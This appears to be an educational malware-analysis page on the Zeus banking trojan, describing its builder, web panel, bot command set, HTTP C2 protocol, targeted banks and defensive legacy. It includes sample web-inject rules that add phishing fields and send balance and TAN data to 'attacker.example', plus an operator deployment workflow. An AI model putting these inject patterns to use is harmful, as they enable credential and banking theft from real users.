Skip to content

Zeus (Zbot) Banking Trojan

Zeus (also known as Zbot) is the most financially significant malware specimen in the archived collection. Unlike the IRC-based bot families that dominate the archive, Zeus represents a fundamentally different paradigm - HTTP-based command and control, browser hooking for real-time transaction manipulation, and a commercially sold crimeware kit with a full web administration panel.

The FBI estimated Zeus caused $100 million+ in losses in the United States alone. Its source code leak in 2011 spawned an entire generation of banking trojans.

Educational context: This analysis is based on static source-code inspection of historical specimens. All source references link to the maestron/botnets public archive.


Zeus is a modular crimeware toolkit - not a single binary, but a complete ecosystem of components designed to work together.

ComponentPurposeTechnology
BuilderCompiles bot binary + encodes configurationC++ (Win32)
Bot BinaryThe malware payload installed on victimsC++ (no external libraries)
Config (text)Human-readable configuration fileCustom syntax
Config (binary)RC4-encrypted compiled configurationBinary blob
Web PanelCommand-and-control administration interfacePHP/MySQL
GateHTTP bot check-in endpointPHP
BackConnect ServerReverse tunnel for SOCKS/RDP access to victimsC++/PHP
Web InjectsHTML/JS injection rules for MitB attacksCustom DSL
Step 1: Set up server with PHP + MySQL
Step 2: Install web panel (PHP application)
Step 3: Edit config.txt (C2 URLs, web injects, targets)
Step 4: Run builder → generates config.bin + bot.exe
Step 5: Distribute bot.exe via exploit kits / spam campaigns
Step 6: Victims check in to gate.php → appear in web panel
Step 7: Operator manages botnet via web GUI

View source - Zeus


The Zeus web panel is a full-featured PHP/MySQL application with sophisticated access controls - more comparable to a legitimate SaaS admin panel than to the IRC clients used by other bot families.

FeatureImplementation
Session managementPHP session-based with cookie persistence
Password hashingMD5 (standard for the era)
Access controlGranular role-based - 15+ per-user permission flags
Multi-userMultiple operators with different privilege levels
SectionDescriptionKey Features
StatisticsBotnet dashboardInstalls by country, OS distribution, infection timeline
Botnet → BotsBot inventoryRich filtering: bot ID, botnet name, IP, country, NAT status, online status
Botnet → ScriptsCommand deploymentTarget by bot ID whitelist/blacklist, botnet name, country codes, send limits
Reports → DBStolen data searchFilter by date range, data type (HTTP/HTTPS/FTP/POP3/form-grabbed)
Reports → FilesFile browserBrowse files uploaded from victim machines
SystemAdministrationUser management, system options, server diagnostics

Zeus exposed a comprehensive command set through the Scripts interface:

CommandFunctionCategory
rebootReboot victim machineSystem control
kosKill operating system (BSOD trigger)Destructive
shutdownShut down victim machineSystem control
bc_addAdd backconnect tunnel (SOCKS/RDP)Remote access
block_urlBlock victim access to specified URLsBrowser control
unblock_urlRemove URL blockBrowser control
rexecRemote execute - download and run arbitrary filePayload delivery
getfileUpload specified file from victim to panelData theft
getcertsExtract and upload SSL certificatesCredential theft
resetgrabReset form grabber stateMaintenance
upcfgUpdate bot configuration remotelyManagement
rename_botChange bot's identifierManagement
sethomepageChange victim's browser homepageBrowser control

Commands could be precisely targeted:

// Pseudocode - Zeus script targeting options
target_options = {
bot_id_whitelist: ["BOT001", "BOT002"], // Only these bots
bot_id_blacklist: ["BOT099"], // Not this bot
botnet_name: "campaign_2009_q3", // Specific campaign
country_codes: ["US", "UK", "DE"], // Geographic targeting
max_sends: 1000, // Rate limiting
send_once: true // Execute only once per bot
}

The web inject system is Zeus's most significant innovation and the feature that made it the dominant banking trojan of its era.

Zeus hooks wininet.dll at the Windows API level, inserting itself into the chain between SSL decryption and page rendering. This means it modifies HTTPS bank pages after decryption but before the user sees them - defeating SSL encryption entirely from the user's perspective.

Normal flow:
Bank server → [HTTPS] → Browser decrypts → User sees page
Zeus flow:
Bank server → [HTTPS] → Browser decrypts → Zeus modifies → User sees modified page

Web injects are defined using a custom domain-specific language:

set_url https://www.examplebank.com/login* GP
data_before
<div id="login-form">
data_end
data_inject
<div class="security-notice">
<p>For your security, please also enter your ATM PIN:</p>
<input type="text" name="atm_pin" />
<p>Mother's maiden name:</p>
<input type="text" name="maiden_name" />
</div>
data_end
data_after
</div>
data_end

Syntax breakdown:

DirectivePurpose
set_url [pattern] [flags]URL pattern to match. Flags: G=GET, P=POST, L=Log all data
data_beforeHTML pattern to locate injection point (marker in original page)
data_injectHTML/JS content to inject at the located point
data_afterHTML pattern marking end of injection zone

Silently captures account summary data without modifying the page - the user sees nothing unusual.

set_url https://www.examplebank.com/accounts/summary* GL
data_before
<td class="balance">
data_end
data_inject
<img src="https://attacker.example/gate.php?bal=
data_end
data_after
</td>
data_end

Adds fake form fields that appear native to the bank's interface:

  • ATM PIN request
  • Security question harvesting
  • Social Security Number request
  • Date of birth collection

Targets European banks that use Transaction Authentication Numbers:

set_url https://www.eurobank.example/transfer* GP
data_before
<input name="tan_code"
data_end
data_inject
<script>
// Pseudocode - intercept TAN entry
document.forms[0].onsubmit = function() {
var tan = document.querySelector('[name=tan_code]').value;
new Image().src = 'https://attacker.example/log.php?tan=' + tan;
}
</script>
data_end
data_after
/>
data_end

Completely replaces the bank's page with an attacker-controlled version - used for complex multi-step social engineering attacks.


The archived configuration files reveal extensive institutional targeting across multiple countries:

InstitutionAttack Type
Bank of AmericaBalance scraping + extra fields
Wells FargoForm grabbing + field injection
Washington Mutual (WaMu)Full page inject
ChaseBalance + credential theft
CitibankMulti-field injection
US BankForm grabbing
SunTrustBalance scraping
InstitutionAttack Type
BarclaysBalance + security questions
Lloyds TSBTAN interception
HSBCForm grabbing + field injection
NatWestMulti-step inject
HalifaxBalance scraping
InstitutionNotes
SantanderPrimary target with detailed injects
BBVAMulti-page inject chain
BanestoForm grabbing
Banco PopularBalance scraping
Regional CajasDozens of smaller savings banks targeted
InstitutionAttack Type
Citibank DETAN theft
NorisbankField injection
DAB BankBalance scraping
TargetCategory
PayPalPayment platform
eBayE-commerce credentials
E-GoldDigital currency
TD Canada TrustCanadian banking

Zeus replaced IRC with stateless HTTP POST communication:

Bot → gate.php (HTTP POST)
├── Body: RC4-encrypted binary payload
├── Format: TLV (Type-Length-Value)
├── Integrity: MD5 hash verification
└── Content types:
├── Script execution reports
├── Log/file uploads (stolen data)
└── Online heartbeat (periodic check-in)
gate.php → Bot (HTTP Response)
└── Pending commands in same encrypted TLV format
Data TypeCollection Method
Protected StorageWindows credential store dump
IE CookiesBrowser cookie extraction
Arbitrary filesTargeted file upload via getfile
HTTP/HTTPS requestsForm grabber (all POST data)
FTP credentialsTraffic interception
POP3 credentialsTraffic interception
Form-grabbed UI dataWin32 UI element scraping
Winsock dataRaw socket interception
EndpointFunction
gate.phpPrimary bot check-in and data upload
redir.phpMulti-layer proxy forwarding for operational security
sockslist.phpExports list of bot SOCKS proxies for secondary use
ip.phpExternal IP detection service for NAT-ed bots

Zeus represents the most significant architectural shift in botnet history - the move from IRC-based to HTTP-based command and control. This comparison illuminates why HTTP won.

AspectIRC Botnets (rBot/sdBot)Zeus (HTTP)
ProtocolPersistent IRC connectionStateless HTTP POST polling
DetectionIRC on non-standard ports - easily blocked by firewallsBlends with normal web traffic on ports 80/443
ScalabilityLimited by IRC server capacity (~10K connections)Web servers handle 100K+ periodic requests
EncryptionUsually none (Blowfish in later variants)RC4 + MD5 on all payloads from day one
Data handlingUnstructured IRC messages (text-based)Structured MySQL database, searchable via web panel
AdministrationCommand-line via IRC clientFull web GUI with role-based access control
TargetingBroad (DDoS, spam, scan)Precise (bank-specific injects, per-country scripts)
Persistence modelAlways-connected (conspicuous)Periodic polling (stealthy)
Firewall evasionIRC ports often blockedHTTP/HTTPS ports almost never blocked
TakedownKill IRC server → botnet offlineMust identify and seize web infrastructure

The move to HTTP C2 was not merely a protocol change - it reflected a fundamental shift in the economics of cybercrime:

  1. From vandalism to profit - IRC bots were primarily used for DDoS and spam; Zeus was built for direct financial theft
  2. From mass to targeted - IRC bots sprayed the same attack at everyone; Zeus delivered bank-specific attacks per institution
  3. From amateur to professional - IRC C2 required IRC knowledge; Zeus's web panel made operation accessible to anyone
  4. From one-time to ongoing - IRC bots were often use-and-discard; Zeus configurations could be updated remotely, maintaining long-term victim compromise

The Zeus builder was a Win32 application that:

  1. Reads the human-readable config.txt
  2. Parses web inject rules, C2 URLs, and bot settings
  3. Compiles everything into an RC4-encrypted config.bin
  4. Optionally patches the config into the bot binary

This separation meant operators could update bot behavior without recompiling the bot - simply deploying a new config.bin via the upcfg command changed targeting, web injects, and C2 infrastructure.

// Pseudocode - config.txt structure
url_config "https://c2server.example/config.bin"
url_compip "https://c2server.example/ip.php"
entry "StaticConfig"
botnet "campaign_name"
timer_config 60 // Config check interval (minutes)
timer_logs 1 // Log upload interval (minutes)
timer_stats 20 // Statistics interval (minutes)
end
// Web inject rules follow...

MetricValue
Estimated US losses$100M+ (FBI estimate)
Peak infected machinesMillions worldwide
Major law enforcement opOperation Trident Breach (2010) - 100+ arrests
Developer bountyEvgeniy Bogachev - $3M FBI reward (largest for cybercriminal)

When Zeus's complete source code leaked publicly in 2011, it spawned an entire generation of derivative banking trojans:

DerivativeInnovation Over Zeus
CitadelVideo capture, AES encryption, developer community forum
ICE IXImproved evasion, anti-tracker features
GameOver ZeusP2P C2 (borrowed concept from Phatbot), DGA
KINS / ZeusVMVMProtect-based binary protection
SphinxTor-based C2 infrastructure

Each derivative built upon Zeus's core architecture while adding new evasion or capability layers - demonstrating how source code leaks accelerate threat evolution.


Technique IDTechnique NameZeus Implementation
T1185Browser Session Hijackingwininet.dll hooking for MitB
T1055Process InjectionBrowser process injection
T1071.001Application Layer Protocol: WebHTTP POST C2 via gate.php
T1573.001Encrypted Channel: Symmetric CryptoRC4 encryption on all C2 traffic
T1056.001Input Capture: KeyloggingForm grabber captures all input
T1539Steal Web Session CookieCookie extraction module
T1555Credentials from Password StoresProtected Storage dump
T1005Data from Local SystemArbitrary file theft via getfile
T1102.001Web Service: Dead DropConfig file hosted on separate URL
T1105Ingress Tool Transferrexec command for payload delivery
T1090ProxySOCKS proxy via backconnect module

The Zeus era drove several major advances in defensive security:

  1. Browser hardening - Banks began deploying dedicated secure browsers and browser plugins to detect API hooking
  2. Transaction verification - Out-of-band transaction confirmation (SMS, hardware tokens) to defeat MitB attacks
  3. Behavioral analytics - Bank-side detection of anomalous login patterns, unusual transfer targets, and geographic impossibilities
  4. Threat intelligence sharing - Financial sector ISACs (Information Sharing and Analysis Centers) were strengthened to share Zeus indicators
  5. Takedown coordination - Multi-national law enforcement cooperation became essential (Operation Trident Breach involved the FBI, UK, Ukraine, and Netherlands)